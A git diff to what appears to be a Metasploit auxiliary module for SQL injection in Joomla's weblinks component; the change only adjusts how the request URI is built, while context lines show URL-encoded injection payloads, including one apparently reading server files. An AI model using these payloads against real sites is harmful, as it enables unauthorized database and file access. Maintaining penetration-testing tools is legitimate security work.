diff --git a/modules/auxiliary/gather/joomla_weblinks_sqli.rb b/modules/auxiliary/gather/joomla_weblinks_sqli.rb index 5346592ca6..abcd557fa9 100644 --- a/modules/auxiliary/gather/joomla_weblinks_sqli.rb +++ b/modules/auxiliary/gather/joomla_weblinks_sqli.rb @@ -51,7 +51,7 @@ class Metasploit3 < Msf::Auxiliary payload << "AS%20CHAR%29%2C0x20%29%2C0x#{back_marker.unpack('H*')[0]}%29%23" resp = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/index.php/weblinks-categories?id=' + payload) + 'uri' => normalize_uri(target_uri.path, 'index.php', 'weblinks-categories?id=' + payload) }) if !resp or !resp.body @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Auxiliary payload << "0x#{file}%29%29%20AS%20CHAR%29%2C0x20%29%2C0x#{back_marker.unpack('H*')[0]}%29%23" resp = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/index.php/weblinks-categories?id=' + payload) + 'uri' => normalize_uri(target_uri.path, 'index.php', 'weblinks-categories?id=' + payload) }) if !resp or !resp.body